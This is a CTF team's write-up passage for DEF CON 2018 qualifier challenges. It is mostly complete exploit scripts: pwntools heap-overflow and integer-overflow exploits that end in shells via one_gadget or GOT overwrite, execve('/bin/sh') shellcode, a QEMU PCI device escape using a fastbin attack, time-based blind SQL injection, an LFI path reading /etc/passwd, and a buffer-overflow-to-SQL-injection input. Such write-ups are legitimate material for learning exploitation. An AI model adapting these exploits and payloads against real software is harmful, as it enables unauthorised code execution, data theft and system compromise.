Surprisingly, we get the flag when the user agent is `Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0`.
Flag: `OOO{0ld@dm1nbr0wser1sth30nlyw@y}`
## Appetizers
### It's-a me!
* When odering pizza, Mario checks whether the pineapple Emoji Unicode (\xF0\x9F\x8D\x8D) exists for each ingridient, so we can split the Unicode into two ingridients ('\xF0\x90\xF0\x9F' and '\x8D\x8D') to bypass Mario's check* After cooking a pizza with fake pinapple (’\xF0\x90\xF0\x9F’ and ‘\x8D\x8D’), it will trigger a heap overflow vulnerability.* By ordering and cooking some pizzas between the ordering and cooking of the fake pinapple pizza, we can make the heap overflow overwrite the pointer to the ingredient. Since at first we don't have any addresses and the read function appends null byte at the end, we make it so that the pointer to the ingredient with LSB overflowed by 0x00 points to a heap address. Cook the pizza and we leak heap address.* We use the same way to leak libc address, but since now we have heap address, we don't have to partial overwrite the pointer to the ingridient with null byte anymore.* The way to hijack control flow is similar too. There is a pointer to a function pointer on each pizza cooked, which is call when they are admired. We overflow that with one_gadget.* `OOO{cr1m1n4l5_5h0uld_n07_b3_r3w4rd3d_w17h_fl4gs}`
```python#!/usr/bin/env python2
from pwn import *from IPython import embedfrom subprocess import check_outputimport re
context.arch = 'amd64'
r = remote('83b1db91.quals2018.oooverflow.io', 31337)
def PoW(): r.recvuntil('Challenge: ') x = r.recvline().strip() r.recvuntil('n: ') xx = r.recvline().strip() x = subprocess.check_output(['./pow.py', x, xx]) xx = re.findall('Solution: (.*) ->', x)[0] r.sendlineafter('Solution:', xx)
PoW()
def new(name): r.sendlineafter('Choice:', 'N') r.sendlineafter('name?', name)
def login(name): r.sendlineafter('Choice:', 'L') r.sendlineafter('name?', name)
def order(pn, ign, igs): r.sendlineafter('Choice:', 'O') r.sendlineafter('pizzas?', str(pn)) for i in range(pn): r.sendlineafter('ingredients?', str(ign[i])) for j in range(ign[i]): r.sendlineafter('ingridient', flat(igs[i][j]))
def cook(decl): r.sendlineafter('Choice:', 'C') r.sendlineafter('explain', decl)
def admire(): r.sendlineafter('Choice:', 'A')
def leave(): r.sendlineafter('Choice:', 'L')
def please(payload): r.sendlineafter('Choice:', 'P') r.sendlineafter('yourself:', payload)
pineapple = 0x8d8d9ff0tomato = 0x858d9ff0chicken = 0x94909ff0banana = 0x8c8d9ff0poo = 0xa9929ff0
new('A')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()
new('B'*0x30)order(1, [1], [[tomato]])leave()
login('B'*0x30)cook('a'*290)leave()
new('C'*0x50)n = 4order(1, [n], [['a'*20]*n])leave()
login('A')cook('a')please('C'*32)
login('C'*0x50)cook('a')x = r.recvuntil('USER MENU')xx = re.findall('BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa', x)[0]heap = u64(xx.ljust(8, '\x00'))-0x11e30print 'heap:', hex(heap)
# exaust heapleave()new('D')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()for i in range(9): new(chr(0x45+i)) order(1, [1], [[tomato]]) leave()
new('N')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()
new('O'*0x30)n = 4order(1, [n], [['a'*16]*n])leave()
login('M')cook('a'*290)leave()
login('N')cook('a')#raw_input("@3")please('C'*24+flat( 0x91, heap+0x132c8, 0x10, 0x10, 0, heap+0x132c8,)+'\x10')
login('O'*0x30)cook('a')x = r.recvuntil('USER MENU')xx = re.findall('BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa', x)[0][:6]libc = u64(xx.ljust(8, '\x00'))-0x3c4b78print 'libc:', hex(libc)system = libc+0x45390magic = libc+0xf1147leave()
login('D')cook('a')#raw_input("@2")please(flat( [0]*3, 0x21, heap+0x138f0, 0, 0, 0x41, heap+0x138f0+0x10, heap+0x13930, magic,))login('O'*0x30)admire()
r.interactive()
```
### shellql
* We can upload our shellcode and it will be executed* They set prctl(22, 1LL); so we can only trigger `read` `write` `exit`* We can communicate with mysql via fd 4* According to [this](https://dev.mysql.com/doc/internals/en/com-query.html), we can forge a correct mysql packet* However, we cannot read from mysql* Time to use time-based attack`SELECT 1 from flag where (select substring(flag,1,4) from flag) = "OOO{" and SLEEP(10);`
* The exploit script:
```python# coding: utf-8from pwn import *import requestsimport stringimport hashlibcontext.arch='amd64'def mdd5(ss): print ss a=hashlib.md5() a.update(ss) return a.hexdigest()def run(code, timeout=1): s = asm(code) assert( '\0' not in s and len(s) < 1000) try: req = requests.post('http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php', data={ 'shell': s }, timeout=timeout) except requests.exceptions.ReadTimeout: print ('Timeout') return 1 else: return 0
def qqq(payload): lenn=p32(len(payload)+1)[0] pp=lenn+'\x00\x00\x00\x03'+payload a=run(shellcraft.write(4, pp, len(pp)) + 'xor rax, rax;' + shellcraft.read(4, 'esp', 4) + 'inc rax; cmp rax, 1; jge .+0; ret', timeout=4) return a
flag=""for i in range(70): for j in "y SQL"+string.printable: if qqq('SELECT 1 from flag where (select substring(flag,1,'+str(len(flag)+1)+') from flag) = "'+flag+j+'" and SLEEP(10);') == 1: flag+=j print flag break
flag2="OOO{"for i in range(4,70): if qqq('SELECT 1 from flag where (select md5(substring(flag,'+str(i)+',1)) from flag) = "'+mdd5(flag[i].upper())+'" and SLEEP(10);') == 1: flag2+=flag[i].upper() else: flag2+=flag[i].lower() print flag2
## flag is OOO{shellcode and webshell is old news, get with the times my friend!}```
### flagsifier - Reverse* Part 1 ##### Behavior * Input is composed of 38 28x28 handwritten English characters. * Random combination of characters will be predicted as class 3. * Repeat a character 38 times will be predicted as class 14~39, which is class A~Z. * Using gradient ascent on input image will not produce readable picture. When we add a constraint that all 38 characters should be the same, class 14~39 can generate input with score 1, but failed on class 1~13. Implies that class 1~13 is consists of multiple characters. * Start with random combination of characters, we use Simulated Annealing to replace characters in input image. We can generate input image for each class with very high score. The images is not unique, but will be similar to ground truth. * Class 0 starts with a lot of `O` that isn't like a flag. * Class 1 is `OOOTHISISA.....MESSAGETOWASTEYOURTIME` which is a fake flag. * Class 2 starts with `OOO`. * Class 3~13 doesn't start with `OOO`. * We guessed Class 2 is true flag, so we generate a lot of possible input images to get probabilities of each character at each position. * Code:
```python#!/usr/bin/python3import sys
dim = int(sys.argv[1])
flag = '......................................'
reset = False # Change to False when known part is long enough# flag = 'OOOOOOOOOOOOOOOOI.....................' # dim = 0# flag = 'OOOOTHISISA.....MESSAGETOWASTEYOURTIME' # dim = 1flag = 'OOO.............INTELLIGENCEISREQUIRED' # dim = 2
import numpy as npfrom PIL import Imageimport osfrom tqdm import tqdm, trangeimport randomfrom keras.models import load_model, Model
model = load_model('model.h5')model = Model(input=model.input, output=model.layers[-2].output)
data = [np.asarray(Image.open('sample_%d.png' % i)).reshape(28, 1064).astype(np.float) for i in range(10)]data = [im for d in data for im in np.split(d, 38, axis=1)]char = ''.join([ 'RUNNEISOSTRICHESOWNINGMUSSEDPURIMSCIUI', 'MOLDERINGIINTELSDEDICINGCOYNESSDEFIECT', 'AMADOFIFESINSTIIIINGGREEDIIVDISIOCATIN', 'HAMIETSENSITIZINGNARRATIVERECAPTURINGU', 'EIECTROENCEPHAIOGRAMSPALATECONDOIESPEN', 'SCHWINNUFAMANAGEABLECORKSSEMICIRCIESSH', 'BENEDICTTURGIDITYDSYCHESPHANTASMAGORIA', 'TRUINGAIKALOIDSQUEILRETROFITBIEARIESTW', 'KINGFISHERCOMMONERSUERIFIESHORNETAUSTI', 'LIQUORHEMSTITCHESRESPITEACORNSGOALREDI',])data = list(zip(data, char))
def softmax(x): """Compute softmax values for each sets of scores in x.""" e_x = np.exp(x - np.max(x)) return e_x / e_x.sum()
for z in trange(100): if reset or z == 0: img, text = zip(*random.sample(data, 38)) img = np.concatenate(img, 1).reshape(1, 28, 1064, 1) text = list(text) r = model.predict([img])[0] score = r[dim] bar = trange(1000) bar.desc = '%s: %.1f ( %4d )' % (''.join(text), softmax(r)[dim], score) for i in bar: cur = img.copy() while True: idx = random.randrange(0, 38) im, c = random.sample(data, 1)[0] if text[idx] != flag[idx] or flag[idx] == c: break cur[0,:, idx*28:(idx+1)*28,0] = im r = model.predict([cur])[0] s = r[dim] if ( text[idx] != flag[idx] and flag[idx] == c ) or s > score or random.random() < (100/(i+100 + z *10)) ** 4: text[idx] = c bar.desc = '%s: %.1f ( %4d )' % (''.join(text), softmax(r)[dim], score) score = s img = cur tqdm.write(''.join(text)) bar.close()```
* Part 2 * Use dictionary and trie to find all the possible sentences. * Dictionary: https://raw.githubusercontent.com/first20hours/google-10000-english/master/google-10000-english.txt * Remember to remove the useless words that length is in range 1~3. * Code:
```C++ #include<bits/stdc++.h> #define f first #define s second using namespace std; //typedef pair<int,int>par; typedef pair<double,double>par; int nod[1000005][26],id=2; bool ok[1000005]; string ans; vector<int>ve[38]; void F(int nw,int now){ if(nw==38){ if(now==1)cout<<ans<<endl; return ; } for(int x:ve[nw]){ if(!nod[now][x])continue; ans.push_back('A'+x); F(nw+1,nod[now][x]); if(ok[nod[now][x]]){ ans.push_back(' '); F(nw+1,1); ans.pop_back(); } ans.pop_back(); } } int main(){ string s; int count=0; while(cin>>s){ if(s=="0")break; if(++count>1000&&s.length()<=3)continue; int now=1; for(char &c:s){ c|=32; if(!nod[now][c-'a']) nod[now][c-'a']=id++; now=nod[now][c-'a']; } ok[now]=1; } while(cin>>s){ if(s=="0")break; for(char &c:s) c|=32; for(int i=0;i<38;i++) ve[i].push_back(s[i]-'a'); } for(int i=0;i<38;i++) sort(ve[i].begin(),ve[i].end()), ve[i].resize(unique(ve[i].begin(),ve[i].end())-ve[i].begin()); F(0,1); //for(int i=0;i<38;i++) return 0; } ```
* input
``` [The Dictionary] 0 OOOTOYEUUTHTNTICINTELLIGENCEISREQUIRED OOOTOYEGUTHTNTICINTELLIGENCEISREQUIRED OOOIOYCUUTUCNTICINTELLIGENCEISREQUIRED OOOSOYEUUCUTNTICINTELLIGENCEISREQUIRED OOOTOYCGLCHENTICINTELLIGENCEISREQUIRED OOOTOYCUUCUCNTUCINTELLIGENCEISREQUIRED OOOIOYEULTUTNTICINTELLIGENCEISREQUIRED OOOSOYCULTUCNTICINTELLIGENCEISREQUIRED OOOTOYEAUTUTWCICINTELLIGENCEISREQUIRED OOOSOYEOUTUTNTICINTELLIGENCEISREQUIRED OOOSOYCGHTUENTICINTELLIGENCEISREQUIRED OOOTOYCGLTYCNTICINTELLIGENCEISREQUIRED OOOTOYEUUTUTNTICINTELLIGENCEISREQUIRED OOOTOYEAUTUTNCICINTELLIGENCEISREQUIRED OOOSOYCUUTHCNTIOINTELLIGENCEISREQUIRED OOOSOORONTNCNTIOINTELLIGENCEISREQUIRED OOOSOMCSHTGCWTICINTELLIGENCEISREQUIRED OOOTOMEOGTSTNTITINTELLIGENCEISREQUIRED OOOIOOEHUTUTNTITINTELLIGENCEISREQUIRED OOOINOEUUTATHTICINTELLIGENCEISREQUIRED OOOTCMCSNSATNTICINTELLIGENCEISREQUIRED OOOTGWRSUTNCNTICINTELLIGENCEISREQUIRED OOOSOQEAUIUCWSICINTELLIGENCEISREQUIRED OOOTOOECHIUCNTIGINTELLIGENCEISREQUIRED OOOTOWEGHSOTHTIEINTELLIGENCEISREQUIRED OOOSOMEGNTOENTILINTELLIGENCEISREQUIRED OOOSCOCGNTHTNTILINTELLIGENCEISREQUIRED OOOSONEGNTNCNTICINTELLIGENCEISREQUIRED OOOSCOCYNTOTUTICINTELLIGENCEISREQUIRED OOOSDUEONCOTLTIOINTELLIGENCEISREQUIRED OOOTDUCONTNTLTIDINTELLIGENCEISREQUIRED OOOTCMCGNCNTNTITINTELLIGENCEISREQUIRED OOOTQYFGNTATNTUEINTELLIGENCEISREQUIRED OOOSDUECLTUTNTICINTELLIGENCEISREQUIRED OOOTOWCUNTUTNTILINTELIIGENCEISREOUIRED OOOTOMSGUTHENTICINTELLIGENCEISREOUIRED OOOTOUTGLTOENCUCINTELLIGENCEISREQUIRED OOOTOUEUUTNENTICINTELLIGENCEISREQUIRED OOOTOMEGUTOENCICINTELLIGENCEISREQUIRED OOOTONEGLTUCNTIOINTELLIGENCEISREQUIRED OOOTOOEANTSENTICINTELLIGENCEISREQUIRED OOOTOUEUUTUELIICINTELLIGENCEISREQUIRED OOOTOMCAUTYENCICINTELLIGENCEISREQUIRED OOOTOYCCNTYTWTICINTELLIGENCEISREQUIRED OOOTOOCANCUTNTICINTELLIGENCEISREQUIRED OOOTOMEINIHENTICINTELLIGENCEISREQUIRED OOOTOYEUNTYTNTICINTELLIGENCEISREQUIRED OOOTOOEUUTHCNTICINTELLIGENCEISREQUIRED OOOTOMCULTUTNTIOINTELLIGENCEISREQUIRED OOOTOMEYNTUENTICINTELLIGENCEISREQUIRED OOOYOMEUMTURMIJCINTELLIGENCEISREQUIRED OOOIDMEUMTURWYJCINTELLIGENCEISREQUIRED OOOLDMEUMTURWYLCINTELLIGENCEISREQUIRED 0 ``` * Flag: `OOOSOMEAUTHENTICINTELLIGENCEISREQUIRED`
### Note Oriented Programming* Setup the value on the stack and call sys_sigreturn* After that, eax = 0x3 ebx=0x0 ecx=0x6060654f edx=0x4f4f4f4f cs=0x23 ss=0x2b ds=0x2b* Now eip is 0x60606565 pointer to "int 0x80" to call sys_read* Then, write shellcode on the 0x6060654f to get shell
```python=from __future__ import print_functionimport sysimport structimport hashlibfrom pwn import *# inspired by C3CTF's POW
table = ['A' , 'A#' , 'B' , 'C' , 'C#' , 'D' , 'D#' , 'E' , 'F' , 'F#' , 'G' , 'G#']
def val(x): a = table.index(x[:-1])*1.0 b = float(x[-1]) return (2.0**(b+a/12.0))*27.5
cmd = ["F9","G0"]*0xecmd += ["G9","G0"]*0x40cmd += ["A2","G0","A0","G0"]cmd += ["G0","G0"]*0xbcmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"]cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"]*0x17cmd += ["G9","G0"]*0x6cmd += ["A2","F8"] cmd += ["A0","G0"]cmd += ["A4","A9","E0","A4","D9","E0"]cmd += ["A0","G1"] cmd += ["A0","G2"] cmd += ["A4","A9","E0","A4","D9","E0","A2","F8"]cmd += ["A4","A9","E0","A4","B9","E0"] cmd += ["A0","G3"] cmd += ["A4","A9","E0","A4","B9","E0"] cmd += ["A0","G4"] cmd += ["A0","G5"] cmd += ["A0","G6"] cmd += ["G9","G0"]*6cmd += ["G0","G0"]*8 cmd += ["G9","G0"]cmd += ["A2","F8"]cmd += ["A0","G0"]cmd += ["A0","G1"] cmd += ["A4","A9","E0","A4","D9","E0"] cmd += ["A0","G2"] cmd += ["A0","G3"]cmd += ["A4","A9","E0","A4","D9","E0","A2","F9","A2","F2","A4","A9","E0","A4","F9","E0"]cmd += ["A0","G4"]cmd += ["A2","F9","A2","F2","A4","A9","E0","A4","F9","E0","A2","F8"] cmd += ["G9","G0"]*4cmd += ["G0","G0"]*0xbcmd += ["A2","F2","A4","A9","E0","A4","G9","E0"]cmd += ["G0","G0"] cmd += ["A2","F2","A4","A9","E0","A4","G9","E0"] cmd += ["G0","G0"]*0xccmd += ["F9","G0"]*0x7 cmd += ["A2","F8","A4","A9","E0","A4","B9","E0","G2","G0"]cmd += ["D9","G0"]*(0x70-0x1f)+["D#7"]*0x1f
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
if __name__ == '__main__': r = remote("4e6b5b46.quals2018.oooverflow.io",31337) r.recvuntil("Challenge: ") challenge = r.recvline()[:-1] r.recvuntil("n: ") n = int(r.recvline()[:-1]) print('Solving challenge: "{}", n: {}'.format(challenge, n))
solution = solve_pow(challenge, n) print('Solution: {} -> {}'.format(solution, pow_hash(challenge, solution))) r.sendlineafter("Solution:",str(solution))
for c in cmd: r.send(p16(val(c)))
r.send(p16(0x0))
payload = "\x90"*0x18 payload += asm(""" mov esp,0x40404a00 push 0x0068732f push 0x6e69622f mov eax,0xb mov ebx,esp xor ecx,ecx xor edx,edx int 0x80 """) r.send(payload) r.interactive()
```## From The Grill
### elastic cloud compute (memory) corruption
* It will use qemu-system-x86_64 to boot a vm* It tells us, we need to do something with PCI device* Then I found this [writeup](https://kitctf.de/writeups/hitb2017/babyqemu)* Now we know that we need to exploit via `/sys/devices/pci0000:00/0000:00:04.0/resource0`* Decompile qemu-system-x86_64 and look for mmio read write function.* I only leveraged write funtion* There is a buffer which is located at `0x1317940` and three kinds of operations* You can `malloc` `free` `write` some chunks. And all the chunk will be on that buffer* I list the write function here:
```cvoid __fastcall OOO_mmio_write(__int64 a1, __int64 offset, __int64 value, unsigned int a4){ unsigned int v4; // eax@1 char n[12]; // [sp+4h] [bp-3Ch]@1 __int64 v6; // [sp+10h] [bp-30h]@1 __int64 v7; // [sp+18h] [bp-28h]@1 __int16 v8; // [sp+22h] [bp-1Eh]@11 int i; // [sp+24h] [bp-1Ch]@5 unsigned int v10; // [sp+28h] [bp-18h]@1 unsigned int v11; // [sp+2Ch] [bp-14h]@4 unsigned int v12; // [sp+34h] [bp-Ch]@11 __int64 v13; // [sp+38h] [bp-8h]@1
v7 = a1; v6 = offset; *(_QWORD *)&n[4] = value; v13 = a1; v10 = ((unsigned int)a2 & 0xF00000) >> 20; v4 = ((unsigned int)a2 & 0xF00000) >> 20; if ( v4 == 1 ) { free(*(&qword_1317940 + (((unsigned int)v6 & 0xF0000) >> 16))); } else if ( v4 == 2 ) { v12 = ((unsigned int)v6 & 0xF0000) >> 16; v8 = v6; memcpy((char *)*(&qword_1317940 + (signed int)v12) + (signed __int16)v6, &n[4], a4); } else if ( !v4 ) { v11 = ((unsigned int)v6 & 0xF0000) >> 16; if ( v11 == 15 ) { for ( i = 0; i <= 14; ++i ) *(&qword_1317940 + i) = malloc(8LL * *(_QWORD *)&n[4]); } else { *(&qword_1317940 + (signed int)v11) = malloc(8LL * *(_QWORD *)&n[4]); } }}```
* The operation will be determined by IO offset. When your write offset is 0xabXXXX. * If a==1, then it will trigger free operation. * If a==2, then it will trigger write operation.* Otherwise, it will trigger malloc.* And b indicate the chunk offset on 0x1317940* The value will be the chunk size or the value written on the chunk* XXXX will be the offset on the chunk* There is a UAF vulnerabilty!! You can overwrite freed chunk to launch fastbin attack.* We can forge a fake chunk on the 0x1317940. then we can write 0x1317940. It also means that we have an arbitrary write.* We can overwrite GOT to hijack control flow* There is a magic function which is located at 0x6e65f9. It will triger system("cat ./flag")* Use GOT-hijacking then you can run that magic function and get the flag* Unfortunately we cannot upload a binary on remote vm, becasue the vm has no network connection. We can base64 encode our binary and send it to the vm. But the binary needs to be small enough, or you cannot send the whole binary because of network conditon.* So I write some shellcode for exploit.* The shellcode:
```nasmsection .data msg db "/sys/devices/pci0000:00/0000:00:04.0/resource0"section .text global _start_start: mov rax, 2 mov rdi, msg mov rsi, 2 mov rdx, 0 syscall mov rdi, 0 mov rsi, 0x1000000 mov rdx, 3 mov r10, 1 mov r8, rax mov r9, 0 mov rax,9 syscall mov rcx, rax mov WORD [rax+0x20000],0xc # malloc a chunk on 0x1317940+0x8*2 mov BYTE [rax+0x120000],0xc # free the chunk on 0x1317940+0x8*2 mov DWORD [rax+0x220000],0x131794d # overwrite the fd on 0x1317940+0x8*2 mov DWORD [rax+0x220004],0x0 # mov BYTE [rax+0x10000],0xc # malloc once mov BYTE [rax+0x10000],0xc # malloc twice , now we have a chunk at 0x131794d mov DWORD [rax+0x210000],0xa0000000 # forge a fake chunk address on 0x1317960 and the address will be free got (0x11301a0) mov DWORD [rax+0x210004],0x11301 # mov DWORD [rax+0x240000],0x6e65f9 # Overwrite free got. The new address will trigger system("cat ./flag") mov DWORD [rax+0x240004],0x0 # mov DWORD [rax+0x120000],0x0 # Trigger free and get the flag !! mov rax, 60 xor rdi, rdi syscall# nasm -felf64 a.asm -o a.o && ld a.o && base64 a.out > shellcode```* And the code to send shellcode:
```pythonimport sysimport structimport hashlibfrom pwn import *
# inspired by C3CTF's POW
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
r=remote("11d9f496.quals2018.oooverflow.io",31337)r.recvuntil("Challenge:")cha=r.recvline().strip("\n")r.recvuntil("n:")n=r.recvline().strip("\n")
solution = solve_pow(cha[1:], int(n))
r.sendline(str(solution))r.recvuntil("/ #")f=open("shellcode")for i in f.readlines(): r.sendline('echo "'+i.strip('\n')+'" >> 1234')r.sendline("base64 -d 1234 > bb")r.sendline("chmod +x ./bb")r.sendline("./bb")r.interactive()# The flag is OOO{did you know that the cloud is safe}```
### Race Wars1. The vulnerability exists during the program asks for tire amount; when doing so, we can apply for 0x8000000 tires to cause int overflow (0x8000000*0x20 = 0), and make the program allocate 0-size memory, but the tires struct can still be placed on heap for us to control.2. Use transmission function to overlap the tires struct and transmission struct 3. Use modify_tires functions to set all the attributes of tire as 0xffff4. Use modify_transmission function to get relative address read/write capability of arbitrary memory5. Read heap address and code GOT address to get libc address, then modify exit GOT to one_gadget, call exit, and get shell* code:
```python=from pwn import *import sysimport timeimport randomhost = '2f76febe.quals2018.oooverflow.io'port = 31337
binary = "./racewars"context.binary = binaryelf = ELF(binary)try: libc = ELF("./libc.so.6") log.success("libc load success") system_off = libc.symbols.system log.success("system_off = "+hex(system_off))except: log.failure("libc not found !")
def new(): pass
def edit(): pass
def remove(): pass
def show(start,end): pass r.recvuntil(start) data = r.recvuntil(end)[:-len(end)] return data
if len(sys.argv) == 1: r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."}) #r = remote("127.0.0.1" ,4444)
else: r = remote(host ,port) r.recvuntil("Challenge: ") Challenge = r.recvuntil("\n")[:-1] r.recvuntil("n:") n = r.recvuntil("\n")[:-1] r.recvuntil("Solution:") p = process(["/usr/bin/python", "./pow.py",Challenge ,n ]) print "pow..." p.recvuntil("Solution: ") ans = p.recvuntil(" ")[:-1] r.sendline(ans)
def tires(num): r.recvuntil("E: ") r.sendline("1") r.recvuntil("?\n") r.sendline(str(num))
def chassis(option): r.recvuntil("E: ") r.sendline("2") r.recvuntil("pse\n") r.sendline(str(option))
def engine(): r.recvuntil("E: ") r.sendline("3")
def transmission(option): r.recvuntil("E: ") r.sendline("4") r.recvuntil("? ") r.sendline(str(option))
def modify_tires_w(width): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("1") r.recvuntil(": ") r.sendline(str(width))
def modify_tires_a(ratio): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("2") r.recvuntil(": ") r.sendline(str(ratio))
def modify_tires_c(radial): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("3") r.recvuntil(": ") r.sendline(str(radial))
def modify_tires_d(diameter): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("4") r.recvuntil(": ") r.sendline(str(diameter))
def modify_chassis(): r.recvuntil("E: ") r.sendline("2") r.recvuntil(": ") r.sendline("1")
def modify_engine(): r.recvuntil("E: ") r.sendline("3")
def modify_transmission(gears,ratio,gear): r.recvuntil("E: ") r.sendline("4") r.recvuntil("? ") r.sendline(str(gears)) r.recvuntil("gear ratio for gear " + str(gears) + " is ") addr = r.recvuntil(", mo")[:-4] r.recvuntil(": ") r.sendline(str(ratio)) r.recvuntil(")") r.sendline(str(gear)) return addr
def buy(): r.recvuntil("E: ") r.sendline("5")
def race(): r.recvuntil("E: ") r.sendline("6")
if __name__ == '__main__': print "start" tires(0x8000000) transmission(1) chassis(1) engine() modify_tires_w(0xffff) modify_tires_a(0xffff) modify_tires_c(0xffff) modify_tires_d(0xffff) addr = "" for i in xrange(8): addr += chr(int(modify_transmission(0xffffffffffffff70+i,0x44,0))) heap = u64(addr) - 0xe0 print "heap =", hex(heap) h = -0xa0 puts_got = 0x603020
leak = ((puts_got - heap) - 0x90 - 0x10)&0xffffffffffffffff addr = "" for i in xrange(8): addr += chr(int(modify_transmission(leak+i,0x44,0))) puts = u64(addr) libc.address = puts - libc.symbols["puts"] print "libc.address =" , hex(libc.address) exit_got = 0x0603060 magic = libc.address + 0xf1147 leak = ((exit_got - heap) - 0x90-0x10)&0xffffffffffffffff print hex(magic) for i in xrange(8): modify_transmission(leak+i,ord(p64(magic)[i]),1) buy() tires(1) r.sendline("ls")
r.interactive()```### Say Hi!
You can send anything as the flag !!`OOO{Happy Mother's Day!!}``
### exzendtential-crisis (unsolved)
After loggin in, we found a LFI vulnerability.`http://d4a386ad.quals2018.oooverflow.io/essays.php?preview&name=../../../../../etc/passwd`
We retrive these files from the server:
- All PHP source code, but `flag.php` is WAFed.- /etc/php7/apache2/php.ini (not sure, I forget the exact location)- /usr/lib/php/20151012/mydb.so (found the path in php.ini)- /var/lib/mydb/mydb.db (found the path in mydb.so)
The main problem is the customized functions, `check_redential`, `get_user_id` .... Those function use PHP extension, written in C++, in `mydb.so`.
A quick reverse engineering will find a interesting function `check_hacker_attempt`. You can found the source code [in the official repo](https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/mydb.cpp#L31-L69). the `strcpy` leads to a buffer overflow. It copies a `std::string` to a 100 byte C string.
Our main objective is to make `get_user_id()` return 1, which is the admin's user id. Exploiting the buffer overflow can [overwrite the table_name](https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/mydb.cpp#L31-L69).
Here is the evil input: `print("A"*112+"users where rowid=1;--")`
The SQL query becomes:
```select rowid from users where rowid=1;-- where username = '...' and password = '...';```
Then the query returns 1. We are the admin now. Visit `flag.php` and get the flag!
Postscript: We fail to solve this because the reversing of `strcyp` tends to be confusing here. The code below is equal to `strcpy`. However, we somehow missed this part :(
```c++v5 = str_len + 1;if ( v5 >= 8 ){ *(_QWORD *)to_check = *(_QWORD *)username; *(_QWORD *)&to_check[v5 - 8] = *(_QWORD *)&username[v5 - 8]; qmemcpy( (void *)((unsigned __int64)(to_check + 8) & 0xFFFFFFFFFFFFFFF8LL), (const void *)(username - &to_check[-((unsigned __int64)(to_check + 8) & 0xFFFFFFFFFFFFFFF8LL)]), 8LL * ((v5 + (_DWORD)to_check - (((_DWORD)to_check + 8) & 0xFFFFFFF8)) >> 3));}else if ( v5 & 4 ){ *(_DWORD *)to_check = *(_DWORD *)username; *(_DWORD *)&to_check[v5 - 4] = *(_DWORD *)&username[v5 - 4];}else if ( v5 ){ *to_check = *username; if ( v5 & 2 ) *(_WORD *)&to_check[v5 - 2] = *(_WORD *)&username[v5 - 2];}v12 = sub_34E0;v11 = (__int64 (__fastcall *)(char *, __int64, int))sub_3220;```
## Guest Chefs
### PHP Eval White-List
- run ` die("`../flag`"); `- `OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}`
### ghettohackers: Throwback
The interval of each '!' is the index of alphabet.
The text is `Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!`. First we try to find all letters on '!' and get `nwltisoos`.We try lots of possible decryptions like XOR, ord(i) - ord('!'), letters reorganization, affine cipher, Atbash cipher, and many classical ciphers but all failed.Finally, we notice that the place of '!' maybe a hint. We calculate the interval of each '!' and got `[4, 1, 18, 11, 0, 12, 15, 7, 9, 3, 0]`. We think these numbers are the index of alphabet (e.g. `4` is `d`), and write a code to print the answer.
```ori = 'Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!'sp = ori.split('!')print repr(''.join(chr(97 + len(s) - 1) for s in sp))```
### ddtek: Preview
#### reverse
* Use `IDA pro` to decompile the binary.* At first galance, we cannot get any useful information.* Use `gdb` and find out that it will mmap a new area for `real program`* There is a function which will do some xor stuff on `0x602000` and mmap an memory area for it. That is real program* In `gdb`, you can do this `dump binary memory result.bin 0x602000 0x605000`
* Now we have the real program.
#### exploit1. Use the string "HEAL /proc/self/maps" to get the code address and /lib/x86_64-linux-gnu/ld-2.23.so address2. canary is combined by code address and /lib/x86_64-linux-gnu/ld-2.23.so address 3. make the program stack overflow, bypass the canary, and use ROP to get shell
```python=from pwn import *import sysimport timeimport randomhost = 'cee810fa.quals2018.oooverflow.io'port = 31337
binary = "./preview"context.binary = binaryelf = ELF(binary)try: libc = ELF("./libc.so.6") log.success("libc load success") system_off = libc.symbols.system log.success("system_off = "+hex(system_off))except: log.failure("libc not found !")
if len(sys.argv) == 1: r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."}) #r = remote("127.0.0.1" ,4444)
else: r = remote(host ,port) r.recvuntil("Challenge: ") Challenge = r.recvuntil("\n")[:-1] r.recvuntil("n:") n = r.recvuntil("\n")[:-1] r.recvuntil("Solution:") p = process(["/usr/bin/python", "./pow.py",Challenge ,n ]) print "pow..." p.recvuntil("Solution: ") ans = p.recvuntil(" ")[:-1] r.sendline(ans)
